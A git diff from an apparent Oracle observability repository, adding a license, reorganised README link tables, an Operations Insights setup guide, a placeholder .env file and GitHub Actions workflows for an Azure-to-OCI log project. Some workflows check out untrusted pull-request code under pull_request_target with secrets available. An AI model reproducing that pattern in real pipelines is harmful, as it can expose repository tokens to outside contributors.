diff --git a/observability-and-management/LICENSE.txt b/observability-and-management/LICENSE.txt new file mode 100644 index 000000000..bb91ea780 --- /dev/null +++ b/observability-and-management/LICENSE.txt @@ -0,0 +1,35 @@ +Copyright (c) 2026 Oracle and/or its affiliates. + +The Universal Permissive License (UPL), Version 1.0 + +Subject to the condition set forth below, permission is hereby granted to any +person obtaining a copy of this software, associated documentation and/or data +(collectively the "Software"), free of charge and under any and all copyright +rights in the Software, and any and all patent rights owned or freely +licensable by each licensor hereunder covering either (i) the unmodified +Software as contributed to or provided by such licensor, or (ii) the Larger +Works (as defined below), to deal in both + +(a) the Software, and +(b) any piece of software and/or hardware listed in the lrgrwrks.txt file if +one is included with the Software (each a "Larger Work" to which the Software +is contributed by such licensors), + +without restriction, including without limitation the rights to copy, create +derivative works of, display, perform, and distribute the Software and make, +use, sell, offer for sale, import, export, have made, and have sold the +Software and the Larger Work(s), and to sublicense the foregoing rights on +either these or other terms. + +This license is subject to the following condition: +The above copyright notice and either this complete permission notice or at +a minimum a reference to the UPL must be included in all copies or +substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/observability-and-management/README.md b/observability-and-management/README.md index 7347241e4..3633b3bb6 100644 --- a/observability-and-management/README.md +++ b/observability-and-management/README.md @@ -2,16 +2,14 @@ The Observability and Manageability (O&M) platform is a suite of OCI services that provide visibility and insights across cloud-native and traditional technologies, whether in multicloud or on-premises environments. It offers broad, standards-based ecosystem support, helping enterprises manage diverse IT portfolios, reduce troubleshooting time, prevent outages, and align IT operations with business objectives. -  -AI agent skills for OCI observability [Link](https://github.com/adibirzu/oci-skills) -   Reviewed: Reviewed: 17.06.2026 -  +  +# Team Publications |Observability Service | Assets Page| |---|---| @@ -19,69 +17,71 @@ Reviewed: Reviewed: 17.06.2026 | Logging | [Link](./logging/README.md) | | Database Management | [Link](./database-management/README.md)| | Ops Insights | [Link](./operations-insights/README.md) | -| Application Performance Monitoring | [Link](./application-performance-monitoring/README.md) | +| Application Performance Monitoring | [Link](./application-performance-monitoring/README.md) | +| OCI Monitoring | [Link](./oci-monitoring/README.md) | | Organization Management | WIP | -| Cost Management | WIP | -| OCI Monitoring | WIP | +| Cost Management | [Link](./cost-management/README.md) | -  -|Observability Targets | Assets Page| +  + +|Observability by Targets | Assets Page| |---|---| | Autonomous Database | [Link](./database-observability/autonomous-observability-asset/README.md) | | Database Cloud Service | [Link](./database-observability/exacs-and-dbcs-observability-assets/README.md) | | Exadata cloud@customer | [Link](./database-observability/exacc-observability-assets/README.md) | | Exadata Cloud Service | [Link](./database-observability/exacs-and-dbcs-observability-assets/README.md)| | Automated Observability Enablement for External Oracle Databases| [Link](./database-observability/external-database-enablement/README.md) | -| Automated Observability Enablement for OCI Cloud-Native Databases| [Link](https://github.com/adibirzu/oci-dbman-opsi) | +| Automated Observability Enablement for OCI Cloud-Native Databases| [Link](/observability-and-management/assets/oci-dbman-opsi/README.md) | | DB@GCP | [WIP](https://docs.oracle.com/en-us/iaas/Content/database-at-gcp/gcpmn-monitor.html)| | DB@Azure |[WIP](https://docs.oracle.com/en-us/iaas/Content/database-at-azure/azumn-monitor.html)| -| DB@AWS | [Link](./oracleaws/README.md)| +| DB@AWS | [Link](./database-observability/oracleaws/README.md)| | EBS | [Link](https://docs.oracle.com/en/solutions/enable-om-stack-monitoring-ebs/index.html#GUID-6D9E091F-3614-4E3E-A082-5FC82B27CD7C) | -| Webogic | [Link](https://karthicin.medium.com/how-to-monitor-weblogic-in-oci-and-collect-logs-for-analysis-7c5007426010) | -| Apex | [Link](https://blogs.oracle.com/observability/oci-observability-for-oracle-apex) | -| OCI CI Container Instance | [Link](https://github.com/adibirzu/oci-container-monitoring) | -| .... | | -| .... | | +| Observability for Golden Gate Cloud|[Link](/observability-and-management/assets/oci-observability-for-goldengate-cloud/README.md)| +| Observability for APEX |[Link](/observability-and-management/assets/oci-observability-for-oracle-apex/README.md)| +| OCI CI Container Instance |WIP | +| Monitor Weblogic in OCI | [Link](/observability-and-management//assets/monitor-weblogic-in-oci-and-collect-logs/README.md) | + + +  + + +|Observability Platform Asset | Assets Page| +|---|---| +| OCI Observability and Management best practices and checklist|[Link](https://blogs.oracle.com/observability/post/oci-observability-checklist)| +| Observability Design Guide | [Link](https://obs.octodemo.cloud/) | +| AI agent skills for OCI observability | [Link](https://github.com/adibirzu/oci-skills) | +| OCI Management Dashboard Automation|[Link](/observability-and-management/assets/oci-management-dashboard-automation/README.md)| +| Multi-cloud observability using OCI Monitoring|[Link](/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/README.md)| +| How and why to run Wazuh in OCI|[Link](/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/README.md)| +| OCI Metric Report Generator|[Link](/observability-and-management/assets/oci-metrics-report/README.md)| +| Using Plumi to create OCI Resources|[Link](/observability-and-management/assets/using-pulumi-to-create-oci-resources/README.md)| +| Wazuh running in OCI | [Link](/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/README.md)| +| Use Cloud Guard Insight Recipes to monitor Windows Instances against Interesting Windows Event IDs for Malware/General Investigation |[Link](/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/README.md)| + + +   +| 3rd Party integration | Assets Page| +|---|---| +| Stream Azure Event Hub logs into Log Analytics|[Link](./assets/azurelogs2oci/README.md)| +| Stream GCP logs into Log Analytics|[Link](./assets/gcplogs2oci/README.md)| +| OCI Logs to Splunk from OCI Object Storage|[Link](./assets/get-logs-into-splunk-from-oci-object-storage/README.md)| +| Stream OCI Logs to Splunk|[Link](./assets/stream-oci-logs-to-splunk/README.md)| +| OCI Logs to IBM QRadar|[Link](./assets/integrating-oci-logs-into-ibm-qradar-siem/README.md)| +| OCI Prometheus and OTEL Monitoring|WIP| +| Prometheus exporter in OCI |[Link](./assets/oracle-cloud-prometheus-exporter/README.md)| +| OCI Logs to Sentinel|[Link](./assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/README.md)| +| ServiceNow integration with OCI using secrets stored in OCI Vault to create incidents|[Link](./assets/servicenow-oci-vault-incidents/README.md)| +| ServiceNow integration with Oracle cloud alarms|[Link](./assets/servicenow-integration-with-oracle-cloud-alarms/README.md)| -# Team Publications -## Blogs - -- [OCI Observability and Management best practices and checklist](https://blogs.oracle.com/observability/post/oci-observability-checklist) -- [Use Cloud Guard Insight Recipes to monitor Windows Instances against Interesting Windows Event IDs for Malware/General Investigation ](https://learnoci.cloud/use-cloud-guard-insight-recipes-to-monitor-windows-instances-against-interesting-windows-event-ids-7ef796174d37?source=friends_link&sk=682c057a61e7c2707df1895420649c2c) -- [Stream OCI logs to Splunk](https://blogs.oracle.com/cloud-infrastructure/post/stream-oci-logs-kafka-connect-splunk) -- [Why and how to run Wazuh on OCI](https://learnoci.cloud/why-and-how-to-run-wazuh-on-oci-6b39174b5d2d?sk=2b9185ad216f0cedbf80b2e5a8705c96) -- [Oracle Cloud Prometheus Exporter](https://karthicin.medium.com/oracle-cloud-prometheus-exporter-c78543473d7) -- [How to integrate Service Now with Oracle cloud Alarms](https://karthicin.medium.com/servicenow-integration-with-oracle-cloud-d3d7a1c6f68a) -- [Oracle Cloud Observability Terraform module](https://karthicin.medium.com/oracle-cloud-observability-terraform-module-d549132892cb) -- [Useful cli commands](https://karthicin.medium.com/useful-oci-cli-commands-f6e05b3e5eef) -- [How to install Grafana in OCI and send OCI metrics to it](https://learnoci.cloud/how-to-install-grafana-in-oci-and-send-oci-metrics-to-it-c2582ebdfda5) -- [How to use Templates for Console Dashboards](https://learnoci.cloud/how-to-use-templates-for-console-dashboards-3e30890e7f31) -- [How to get logs into Splunk from OCI obj storage](https://learnoci.cloud/how-to-get-logs-into-splunk-from-oci-object-storage-7304fbf467ea?sk=6539609ba70a068fe52f39fb079df32b) -- [Enhanced Support in OCI Console — Create Service Requests (SR) in Child Tenancies](https://learnoci.cloud/enhanced-support-in-oci-console-create-service-requests-sr-in-child-tenancies-a327cb9d2c10) -- [Supercharge your Oracle Enterprise Manager Cloud Control 13.5 management, by using the REST API calls](https://medium.com/@eugenesimos/supercharge-your-oracle-enterprise-manager-cloud-control-13-5-d264e7371ec9) -- [ServiceNow integration with OCI using secrets stored in OCI Vault to create incidents](https://karthicin.medium.com/servicenow-integration-with-oracle-cloud-d3d7a1c6f68a) -- [How to enable OCI Observability Services on Exadata Cloud@Customer](https://medium.com/@erikasciunzi/how-to-enable-oci-observability-services-on-exadata-cloud-customer-9501dcaa356e) -- [Using Pulumi to create OCI resource](https://karthicin.medium.com/using-pulumi-to-create-oci-resource-1e685a7d25fb) -- [How to monitor Weblogic in OCI and collect logs for analysis](https://karthicin.medium.com/how-to-monitor-weblogic-in-oci-and-collect-logs-for-analysis-7c5007426010) -- [How to run Velociraptor in OCI Container Instance](https://learnoci.cloud/how-to-run-velociraport-in-oci-container-instance-7adfb75d1df8) -- [Multi-cloud observability using OCI Monitoring](https://karthicin.medium.com/multi-cloud-observability-using-oci-monitoring-8fa87f9c5e84) -- [How to enable OCI Observability for Golden Gate Cloud](https://medium.com/@erikasciunzi/how-to-enable-observability-for-golden-gate-cloud-06a9702c9313) -- [How to enable OCI Observability on Oracle APEX](https://learnoci.cloud/oci-observability-for-oracle-apex-f25369bd771a) -- [Cost comparison in Oracle Cloud](https://karthicin.medium.com/cost-comparison-in-oracle-cloud-166f4b12dcd3) -- [Automation of OCI Event Rule using OpenTofu/Terraform](https://karthicin.medium.com/automation-of-oci-event-rule-using-opentofu-terraform-dc3946ae7bb6) -- [How to run Game of Active Directory in OCI — Part 1](https://learnoci.cloud/how-to-run-game-of-active-directory-in-oci-part-1-5be51387a7a2) -- [How to monitor your OCI environment using Dynatrace](https://learnoci.cloud/how-to-monitor-your-oci-environment-using-dynatrace-8c23f376659b) -- [OCI Management Dashboard Automation](https://karthicin.medium.com/oci-management-dashboard-automation-ea4f45cac24b) -- [Create Dynamic Links for OCI Stack Monitoring Alarms and More](https://medium.com/@michtoeth/create-dynamic-links-for-oci-stack-monitoring-alarms-and-more-ca8e0e6fb7a5) -- [Integrating OCI Logs into IBM QRadar SIEM](https://medium.com/@guna.sekar.sun/integrating-oci-logs-in-ibm-qradar-siem-9dcea5ed036a) -- [How to build an Advanced Observability solution in OCI for Security purposes](https://learnoci.cloud/start-building-an-advanced-observability-solution-in-oci-for-security-purposes-using-native-and-e2ed5d806eff) -- [Send OCI Logs to Azure Sentinel using Oracle Functions](https://medium.com/@rishabhghosh24/send-oci-logs-to-azure-sentinel-using-oracle-functions-b55c9b352d71) +  + + ## Cloud Coaching Clinics (Videos) @@ -98,8 +98,7 @@ Reviewed: Reviewed: 17.06.2026 # Useful Links -- [PMs GitHub repo](https://github.com/oracle-quickstart/oci-o11y-solutions) - - Observability and Manageability Product Managers GitHub +- [Product Managers GitHub repo](https://github.com/oracle-quickstart/oci-o11y-solutions) - [O&M Oracle Blogs](https://blogs.oracle.com/observability/) - [Documentation](https://docs.oracle.com/en-us/iaas/Content/cloud-adoption-framework/monitoring-and-observability.htm) - [OCI Monitoring](https://docs.oracle.com/en-us/iaas/Content/Monitoring/home.htm) diff --git a/observability-and-management/application-performance-monitoring/README.md b/observability-and-management/application-performance-monitoring/README.md index 65bbbf13a..a1170b52a 100644 --- a/observability-and-management/application-performance-monitoring/README.md +++ b/observability-and-management/application-performance-monitoring/README.md @@ -12,16 +12,12 @@ Reviewed: 12.03.2026 # Team Publications -- [OCI APM and Logging Analytics](https://blogs.oracle.com/observability/post/connect-apm-with-log-analytics-and-more) -- [Create dynamic links from OCI APM to other services for efficient workflows](https://blogs.oracle.com/observability/post/connect-apm-with-log-analytics-and-more) -- [Using Stack Monitoring to monitor a Windows Instance](https://learnoci.cloud/using-stack-monitoring-to-monitor-a-windows-instance-d5f0d64f5494) -- [Delete Multiple Resources in OCI Stack Monitoring with the Python SDK](https://medium.com/@michtoeth/delete-multiple-resources-in-oci-stack-monitoring-with-the-python-sdk-60fa23970ac1) -- [Process monitoring using Stack Monitoring](https://karthicin.medium.com/process-monitoring-using-stack-monitoring-99908cec31a8) -- [Storing APM Synthetic monitor error logs in OCI Logging](https://karthicin.medium.com/storing-apm-synthetic-monitor-error-logs-in-oci-logging-c2296ce6072f) -- [How to use OCI APM in Kubernetes Environment for Java Application](https://karthicin.medium.com/how-to-use-oci-apm-in-kubernetes-environment-for-java-application-56de2c770a69) -- [Use Postman request code snippets for Synthetic Monitoring in OCI Application Performance Monitoring](https://medium.com/@michtoeth/use-postman-request-code-snippets-for-synthetic-monitoring-in-oci-application-performance-1fa91d51677c) -- [.NET Application monitoring using OCI APM](https://karthicin.medium.com/net-application-monitoring-using-oci-apm-7896706ed508) -- [OCI APM for JD Edwards: Pinpoint performance bottlenecks in business-critical services](https://blogs.oracle.com/observability/post/enable-oci-apm-for-oracle-jd-edwards) + +|APM Asset| Asset page| +|---|---| +| OCI APM and Log Analytics improve stack visibility with continuous workflows|[Link](https://blogs.oracle.com/observability/post/connect-apm-with-log-analytics-and-more)| +| Create dynamic links from OCI APM to other services for efficient workflows|[Link](https://blogs.oracle.com/observability/post/connect-apm-with-log-analytics-and-more)| +| OCI APM for JD Edwards: Pinpoint performance bottlenecks in business-critical services|[Link](https://blogs.oracle.com/observability/post/enable-oci-apm-for-oracle-jd-edwards)| # Useful Links diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/README.md b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/README.md new file mode 100644 index 000000000..0935aec84 --- /dev/null +++ b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/README.md @@ -0,0 +1,43 @@ +# Auto enable hosts for Operation Insights in OCI + +Operation Insights is an OCI(Oracle Cloud Infrastructure) native service that provides holistic insight into database and host resource utilisation and capacity. + +Previously to enable OCI compute hosts for operation insights you have to add it manually via OCI console or enable it via REST API. +Operation Insights → Administration → Host Fleet → Add hosts + +![Picture 8](./images/image-01.png) + +Add hosts to operation insights via OCI console + +With the new feature you can automatically enable operation insights for OCI compute in a compartment when its created. + +Navigate to Operation Insights → Administration → Host Fleet + +![Picture 7](./images/image-02.png) + +Create the required policies using Policy Advisor for compute or you can create the policy via console as well.For example: + +Allow any-user to use instance-family in compartment X where ALL { request.principal.type = ‘opsihostinsight’ } +Allow any-user to manage management-agents in compartment X where ALL { request.principal.type = ‘opsihostinsight’ } + +![Picture 6](./images/image-03.png) + +Once you launch a compute instance the workflow will trigger and enable the management agent and the operation insight plugin will get deployed. + +After few mins you can see the host is added to Operation Insights and wait for max 24 hours to see the data . + +![Picture 4](./images/image-04.png) + +You can use prebuilt dashboards available or can create your own customised ones. + +![Picture 3](./images/image-05.png) + +You can create customised widgets from Host Explorer .For example to know top 10 process having higher CPU usage you can write a query and save it. + +![Picture 2](./images/image-06.png) + +![Picture 1](./images/image-07.png) + +You can get weekly report by using [News Report feature](https://blogs.oracle.com/cloud-infrastructure/post/operations-insights-actionable-workload-news) as well. + +To learn more about other features please refer the operation insights [blog](https://blogs.oracle.com/observability/category/oem-operations-insights). diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-01.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-01.png new file mode 100644 index 000000000..7c018fc00 Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-01.png differ diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-02.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-02.png new file mode 100644 index 000000000..c9dcf2671 Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-02.png differ diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-03.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-03.png new file mode 100644 index 000000000..5cd8e550b Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-03.png differ diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-04.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-04.png new file mode 100644 index 000000000..d5d400ca5 Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-04.png differ diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-05.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-05.png new file mode 100644 index 000000000..0a27f9d0e Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-05.png differ diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-06.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-06.png new file mode 100644 index 000000000..428725508 Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-06.png differ diff --git a/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-07.png b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-07.png new file mode 100644 index 000000000..08caf8e93 Binary files /dev/null and b/observability-and-management/assets/auto-enable-hosts-for-operation-insights-in-oci/images/image-07.png differ diff --git a/observability-and-management/assets/azurelogs2oci/.env.example b/observability-and-management/assets/azurelogs2oci/.env.example new file mode 100644 index 000000000..b52b35fb9 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.env.example @@ -0,0 +1,44 @@ +# Copy to .env.local and fill in your values. Keep real secrets only in .env.local, which is ignored by git. + +# Azure Event Hubs (used by Function and drain script) +EventHubsConnectionString='Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=...' +EventHubConsumerGroup='$Default' +EventHubName='insights-activity-logs' # single hub used by the Function trigger +EventHubNamesCsv='insights-activity-logs' # optional: used by helper scripts for multi-hub drain +EVENTHUB_RG='StreamingLogsOCI_group' +EVENTHUB_NAMESPACE='ocitests' +EVENTHUB_NAME='insights-activity-logs' # must match EventHubName (the hub, not the namespace) + +# OCI Streaming target +OCI_MESSAGE_ENDPOINT='https://cell-1.streaming..oci.oraclecloud.com' +OCI_STREAM_OCID='ocid1.stream.oc1..example' + +# OCI API signing keys +user='ocid1.user.oc1..example' +key_content='-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----' # keep only the key block; remove trailing comments +pass_phrase='' +fingerprint='' # must match the private key above +tenancy='ocid1.tenancy.oc1..example' +region='us-ashburn-1' + +# OCI identifiers (used by setup_oci_log_analytics.sh and teardown) +OCI_USER_OCID='ocid1.user.oc1..example' +OCI_FINGERPRINT='' # same as 'fingerprint' above +OCI_TENANCY_OCID='ocid1.tenancy.oc1..example' +OCI_REGION='us-ashburn-1' + +# OCI Streaming resource tracking (populated by setup scripts) +OCI_STREAM_POOL_ID='' +OCI_STREAM_POOL_NAME='MultiCloud_Log_Pool' + +# OCI Log Analytics (used by setup_oci_log_analytics.sh) +OCI_COMPARTMENT_ID='ocid1.compartment.oc1..example' +OCI_LOG_ANALYTICS_NAMESPACE='' # auto-detected if empty +OCI_LOG_GROUP_NAME='AzureLogs' +OCI_LOG_GROUP_ID='' +OCI_SCH_NAME='Azure-Stream-to-LogAnalytics' +OCI_SCH_ID='' + +# Optional script tuning +COUNT=0 +INACTIVITY_TIMEOUT=30 diff --git a/observability-and-management/assets/azurelogs2oci/.gitattributes b/observability-and-management/assets/azurelogs2oci/.gitattributes new file mode 100644 index 000000000..dfe077042 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/banned_file_changes_pr.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/banned_file_changes_pr.yml new file mode 100644 index 000000000..26c967352 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/banned_file_changes_pr.yml @@ -0,0 +1,79 @@ +name: Banned file changes (PR) +on: + # pull_request: + # branches: [ "**/*" ] + pull_request_target: + +jobs: + check_for_banned_file_changes: + name: Look for unsupported (banned) file modifications on PRs + runs-on: ubuntu-latest + steps: + - name: 'Get number of git commits' + uses: oracle-devrel/action-git-num-commits@v0.1-alpha6 + id: num_commits + with: + pull_url: ${{ github.event.pull_request.url }} + - name: 'Checkout repo' + uses: actions/checkout@v2 + with: + ref: ${{ github.event.pull_request.head.ref }} + repository: ${{ github.event.pull_request.head.repo.full_name }} + fetch-depth: ${{ steps.num_commits.outputs.fetch_depth }} + - name: Get file changes + uses: oracle-devrel/action-git-files-changed@v0.1-alpha2 + id: files + with: + pull_url: ${{ github.event.pull_request.url }} + - name: Look for changes to .github + if: contains(steps.files.outputs.all_files_changed, '.github') + run: | + echo 'Changes to files in .github are not allowed.' + - name: Comment if .github changed + if: contains(steps.files.outputs.all_files_changed, '.github') + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **Banned Files Modified** + Changes to files in `.github` are not permitted. Please revert your changes and re-submit a new PR. Simply changing the file back to its original state and re-committing won't work (you must revert the changes made to it). + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Look for changes to license_policy.yml + if: contains(steps.files.outputs.all_files_changed, '"license_policy.yml"') + run: | + echo 'Changes to license_policy.yml are not allowed.' + - name: Comment if license_policy.yml changed + if: contains(steps.files.outputs.all_files_changed, '"license_policy.yml"') + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **Banned Files Modified** + Changes to `license_policy.yml` are not permitted. Please revert your changes and re-submit a new PR. Simply changing the file back to its original state and re-committing won't work (you must revert the changes made to it). + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Look for changes to repolinter.json + if: contains(steps.files.outputs.all_files_changed, '"repolinter.json"') + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **Banned Files Modified** + Changes to `repolinter.json` are not permitted. Please revert your changes and re-submit a new PR. Simply changing the file back to its original state and re-committing won't work (you must revert the changes made to it). + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Comment if repolinter.json changed + if: contains(steps.files.outputs.all_files_changed, '"repolinter.json"') + run: | + echo 'Changes to repolinter.json are not allowed.' + - name: Look for changes to sonar-project.properties + if: contains(steps.files.outputs.all_files_changed, '"sonar-project.properties"') + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **Banned Files Modified** + Changes to `sonar-project.properties` are not permitted. Please revert your changes and re-submit a new PR. Simply changing the file back to its original state and re-committing won't work (you must revert the changes made to it). + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Comment if sonar-project.properties changed + if: contains(steps.files.outputs.all_files_changed, '"sonar-project.properties"') + run: | + echo 'Changes to sonar-project.properties are not allowed.' + - name: Fail on banned file changes + if: contains(steps.files.outputs.all_files_changed, '.github') || contains(steps.files.outputs.all_files_changed, '"license_policy.yml"') || contains(steps.files.outputs.all_files_changed, '"repolinter.json"') || contains(steps.files.outputs.all_files_changed, '"sonar-project.properties"') + run: | + exit 1 \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/cla.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/cla.yml new file mode 100644 index 000000000..dd54c71ce --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/cla.yml @@ -0,0 +1,39 @@ +name: "CLA Assistant" +on: + issue_comment: + types: [created] + pull_request_target: + types: [opened,closed,synchronize] + +jobs: + CLAssistant: + runs-on: ubuntu-latest + steps: + - name: "CLA Assistant" + if: (github.event.comment.body == 'recheck' || github.event.comment.body == 'I have read the CLA Document and I hereby sign the CLA') || github.event_name == 'pull_request_target' + # Beta Release + uses: cla-assistant/github-action@v2.1.2-beta + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # the below token should have repo scope and must be manually added by you in the repository's secret + PERSONAL_ACCESS_TOKEN : ${{ secrets.PERSONAL_ACCESS_TOKEN }} + with: + # for per-repo CLA-acceptance: + # path-to-signatures: 'signatures/oca-20210504/${{ github.repository }}' + # for per-GHO CLA-acceptance: + path-to-signatures: 'signatures/oca-20210504/oracledevrel' + path-to-document: 'https://github.com/oracledevrel/devrel-oca-mgmt/blob/main/oca-20210504.md' # e.g. a CLA or a DCO document + # branch should not be protected + branch: 'main' + allowlist: bot* + + #below are the optional inputs - If the optional inputs are not given, then default values will be taken + remote-organization-name: "oracledevrel" # enter the remote organization name where the signatures should be stored (Default is storing the signatures in the same repository) + remote-repository-name: "devrel-oca-mgmt" # enter the remote repository name where the signatures should be stored (Default is storing the signatures in the same repository) + #create-file-commit-message: 'For example: Creating file for storing CLA Signatures' + #signed-commit-message: 'For example: $contributorName has signed the CLA in #$pullRequestNo' + #custom-notsigned-prcomment: 'pull request comment with Introductory message to ask new contributors to sign' + #custom-pr-sign-comment: 'The signature to be committed in order to sign the CLA' + #custom-allsigned-prcomment: 'pull request comment when all contributors has signed, defaults to **CLA Assistant Lite bot** All Contributors have signed the CLA.' + #lock-pullrequest-aftermerge: false - if you don't want this bot to automatically lock the pull request after merging (default - true) + #use-dco-flag: true - If you are using DCO instead of CLA diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/deploy-azure-function.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/deploy-azure-function.yml new file mode 100644 index 000000000..2cb9b7bb3 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/deploy-azure-function.yml @@ -0,0 +1,52 @@ +name: Deploy Azure Function (zip) + +on: + workflow_dispatch: + inputs: + function_app_name: + description: "Existing Azure Function App name (Linux, Python)" + required: true + type: string + python_version: + description: "Python runtime version" + default: "3.11" + required: false + type: string + +permissions: + contents: read + +jobs: + build-and-deploy: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: ${{ inputs.python_version }} + + - name: Build function package + run: | + set -euo pipefail + PACKAGE_PATH="artifacts/azurelogs2oci-function.zip" + mkdir -p artifacts + cd function/EventHubsNamespaceToOCIStreaming + python -m pip install --upgrade pip + pip install -r requirements.txt --target ".python_packages/lib/site-packages" + zip -qry "../../${PACKAGE_PATH}" . + + - name: Upload package artifact + uses: actions/upload-artifact@v4 + with: + name: azurelogs2oci-function + path: artifacts/azurelogs2oci-function.zip + + - name: Deploy to Azure Function App + uses: Azure/functions-action@v1 + with: + app-name: ${{ inputs.function_app_name }} + package: artifacts/azurelogs2oci-function.zip + publish-profile: ${{ secrets.AZURE_FUNCTIONAPP_PUBLISH_PROFILE }} diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/license_audit.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/license_audit.yml new file mode 100644 index 000000000..5a40acbca --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/license_audit.yml @@ -0,0 +1,42 @@ +name: Audit licenses +on: + pull_request_target: + +jobs: + run_scancode_toolkit: + name: Get inventory of licenses used in project + runs-on: ubuntu-latest + container: + image: ghcr.io/oracledevrel/scancode-toolkit:v21.3.31 + credentials: + username: ${{ github.actor }} + password: ${{ secrets.GHCR_PAT }} + steps: + - name: 'Checkout repo' + uses: actions/checkout@v2 + with: + ref: ${{ github.event.pull_request.head.ref }} + repository: ${{ github.event.pull_request.head.repo.full_name }} + - name: Run Scancode-toolkit + run: | + scancode -l --ignore licenses.json --ignore .github/**/* --ignore license_policy.yml --license-policy license_policy.yml --only-findings --summary --json-pp licenses.json * + echo "\n\nHere is the licenses.json:\n" + echo $(cat licenses.json) + - name: Look for non-approved licenses + uses: oracle-devrel/action-license-audit@1.0.2 + id: analysis + with: + licenses_file: '/github/workspace/licenses.json' + - name: Analysis results + run: echo "${{ steps.analysis.outputs.unapproved_licenses }}" + - name: Comment if analysis finds unapproved licenses + if: steps.analysis.outputs.unapproved_licenses == 'true' + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **License Inspection** + Requires manual inspection. There are some licenses which dictate further analysis and review. + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Halt pipeline on unapproved licenses + if: steps.analysis.outputs.unapproved_licenses == 'true' + run: exit 1 diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/release-zip-file.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/release-zip-file.yml new file mode 100644 index 000000000..5d014aabc --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/release-zip-file.yml @@ -0,0 +1,18 @@ +name: Release ZIP file packaging + +on: + release: + types: [published] + +jobs: + create_zip: + runs-on: ubuntu-latest + steps: + - name: 'Checkout repo' + uses: actions/checkout@v2 + - name: 'Make (and upload) ZIP file(s)' + uses: oracle-devrel/action-release-zip-maker@v0.5 + id: zip_maker + with: + github_token: ${{ secrets.GITHUB_TOKEN }} + \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/repolinter.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/repolinter.yml new file mode 100644 index 000000000..2d23deef2 